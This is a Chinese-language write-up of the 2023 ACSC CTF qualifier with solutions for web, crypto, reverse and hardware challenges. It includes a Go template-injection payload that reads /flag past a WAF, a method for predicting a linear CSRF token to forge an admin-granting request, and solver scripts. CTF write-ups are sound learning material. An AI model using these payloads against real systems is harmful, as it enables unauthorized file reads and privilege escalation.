2023 ACSC CTF Qual Writeup

這次賽程只有 24 hr ,題目的難度都挺高,每個都參雜一些密碼學,也許是因為亞洲賽區大家數學都很好吧,我好不容易解完數學的那些題目都已經超過二十隊解,最後才 56 th 不能出國玩QQQQ 亞洲人之恥...

題目都相當好玩,唯一缺點是時間太少來不及看

🍁<(_ _)>

Web

Admin Dashboard

題目需要得到 admin 權限來瀏覽 index 獲得 flag。有個登入後可以 report 的功能,還有一個受 CSRF Token 保護的 addadmin 頁面可以將帳號提升為 admin

<?php
	if(isset($_POST['url'])){
    	if (filter_var($_POST['url'], FILTER_VALIDATE_URL) && preg_match("^http(s)?^",parse_url($_POST['url'], PHP_URL_SCHEME))) {
        	$return_value = 1;
        	system("node /bot/bot.js ".urlencode($_POST['url']),$return_value);
...
report.php

report.php 的 system 裡可以錯誤回顯造成 XSS,開個 socket server 隨便傳個東西讓 HTTP Response 解析壞掉即可

	Error: net::ERR_INVALID_HTTP_RESPONSE at http://c.cjis.ooo:8788/asd
    at navigate (/bot/node_modules/puppeteer-core/lib/cjs/puppeteer/common/Frame.js:240:23)
    at processTicksAndRejections (internal/process/task_queues.js:95:5)
    at async Frame.goto (/bot/node_modules/puppeteer-core/lib/cjs/puppeteer/common/Frame.js:206:21)
    at async CDPPage.goto (/bot/node_modules/puppeteer-core/lib/cjs/puppeteer/common/Page.js:439:16)
回顯

flag 位於 admin 登入後的首頁,以前使用多個 iframe 登入不同帳號造成 XSS 再跨 iframe 讀取的打法已經失效,現在 chrome 預設 cookie SameSite 為 lax,但是 iframe 只能寫入 none 屬性的 cookie,一個 rabbit hole。

只能乖乖破解 CSRF Token,生產方式大概如下

# u1,u2 透過自行註冊的兩個 username 轉換,為已知
# a,c 未知
# sx1,sx2 是 csrf token
# M 模數 固定已知,以下都是模運算
a*u1+c = sx1
a*u2+c = sx2
a = (sx2-sx1)/(u2-u1)
c = sx1-(a*u1)

剛好 addadmin 頁面的 username、CSRF Token 透過 $_REQUEST 拿取,提交 http://localhost/addadmin?username=cjiso&password=7122&csrf-token=1fe69abb084e42434627a84405d722e0

即可 , flag ACSC{C$rF_15_3VerYwh3Re!}

easySSTI

一個可以傳入任意 template 的 Golang SSTI,回傳內容需要繞過 WAF

    if (/ACSC\{.*\}/.test(data)) {
      return reply.code(403).send("??")
    }

Golang Template 可以通過當前  . 來存取其他屬性,並且可以把屬性當作函式呼叫,這題就翻翻 source code 找利用鏈,個人感覺 Golang 相對其他語言好找,沒有一堆奇怪的 magic。翻閱 echo source code 可以找到一條 .Echo.Filesystem.Open 打開 flag ,接著在 $x.Read 卡很久,因為參數需要 []byte 的變數,雖然可以宣告變數和使用部分函式,但是生成任意型態變數就相當困難,這部分也許是可以深入研究的點。最後是想起題目 context 本身有宣告 template 作為 buffer  剛好可以拿來用,再搭配 slice 去頭。

{{$y := .Get "template" }}{{ $x := .Echo.Filesystem.Open "/flag"}}  {{$x.Read $y}} {{slice $y 1 40 | .HTMLBlob 200}}

flag ACSC{h0w_did_y0u_leak_me}

題外話,我研究了好久還是不知道怎麼直接把函式回傳值做為參數,先存一下 🍁 的 payload ,神奇語法

{{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{ .Get "template" }}

A parenthesized instance of one the above, for grouping. The result may be accessed by a field or map key invocation. print (.F1 arg1) (.F2 arg2) (.StructValuedMethod "arg").Field

Gotion

賽中沒解出來,看他給的題示大致猜到要透過 Nginx Byte-Range Caching 把預設給的 mp4 檔案弄出一個合法的 XSS payload,但是在 Qtime 快冷死又快日出,看了半天想不出怎麼 cache poisoning QQ

蠻有趣的題目待研究 TODO

10av 🍊

賽中沒解出來,掃過去有開一堆奇怪的防毒和郵件服務,看起來一臉上傳檔案戳服務達到 RCE,但是來不及看文檔QQ

Crypto

Merkle Hellman

題目就是 Merkle–Hellman knapsack cryptosystem ,直接給 public key、private key、ciphertext、mod number,依照 wiki 的解密法應該能解,但是我數學不好感覺實作有點麻煩,後來想到一次一個 byte 暴力破解  

#!/usr/bin/env python3
import random
import binascii


b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
w = [184, 332, 713, 1255, 2688, 5243, 10448]
q = 20910

r = 0
for i in range(1, 20910):
    found = True
    for j in range(7):
        if w[j] * i % q != b[j]:
            found = False
            break
    if found:
        r = i
print(f"{r=}")
# Encrypting
flag = [
    8436,
    22465,
    30044,
    22465,
    51635,
    10380,
    11879,
    50551,
    35250,
    51223,
    14931,
    25048,
    7352,
    50551,
    37606,
    39550,
]
c = []
for f in flag:
    found = False
    for j in range(256):
        s = 0
        for i in range(7):
            if j & (64 >> i):
                s += b[i]
        print(f"{s=}")
        if s == f:
            found = True
            print(f"found: {chr(j)}")
            c.append(chr(j))
            print(c)
            break
    if not found:
        print("fail")
        break
print("".join(c))
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
# ACSC{E4zY_P3@zy}
decrypt.py

Reverse

serverless

這題就慢慢解 javascript 混淆,然後看懂他在做 RSA 加密

有個要看好一陣子的是這個做快速冪的函式

  function w(ps1, n2_1_1, pq1) {
    if (n2_1_1 === 0) return 0x1n
    return n2_1_1 % 2 === 0 ? w((ps1 * ps1) % pq1, n2_1_1 / 2, pq1) : (ps1 * w(ps1, n2_1_1 - 1, pq1)) % pq1
  }
有人丟到 ChatGPT 就知道是快速冪 Orz

flag ACSC{warmup_challenge_so_easy}

ngo

賽中沒解出來,程式本身主動解密送 flag,逆完會發現有個解密迴圈次數是指數成長,導致解密程式跑不完,迴圈內在計算這個 a

a = a >> 1 ^ -(a & 1) & a

感覺像 LFSR ,但忘記 LFSR  state 有循環的特性 (f^n)(a) == a 可以加速運算,當時猜測 a 有循環,熬夜昏頭把範圍設 10000 而已就找不到循環 QQ。正規解是 (2**32 - 1) 會循環。

Hardware

Hardware is not so hard

一道分析 sd card SPI mode traffic 題目,最麻煩的點是找到 spec

http://ccy.dd.ncu.edu.tw/~chen/rd/SIOC/SD Card驅動程式開發2.pdf

http://chlazza.nfshost.com/sdcardinfo.html

依照 spec parse,把讀取資料照順序寫成一張圖片即可

import binascii
blocks = [0 for i in range(64)]
i = 0
with open("spi.txt", "r") as f, open("out.jpg", "wb") as outfile:
    for l in f.readlines():
        if "SD Card to Device : ff" in l:
            l = l[l.find("fe") + 2 : -5]
            print(len(l))
            data = binascii.unhexlify(l)
            blocks[i] = data
        elif "Device to SD Card : 51" in l:
            l = l[28:30]
            i = int(l, 16)
    for block in blocks:
        outfile.write(block)
# ACSC{1tW@sE@syW@snt1t}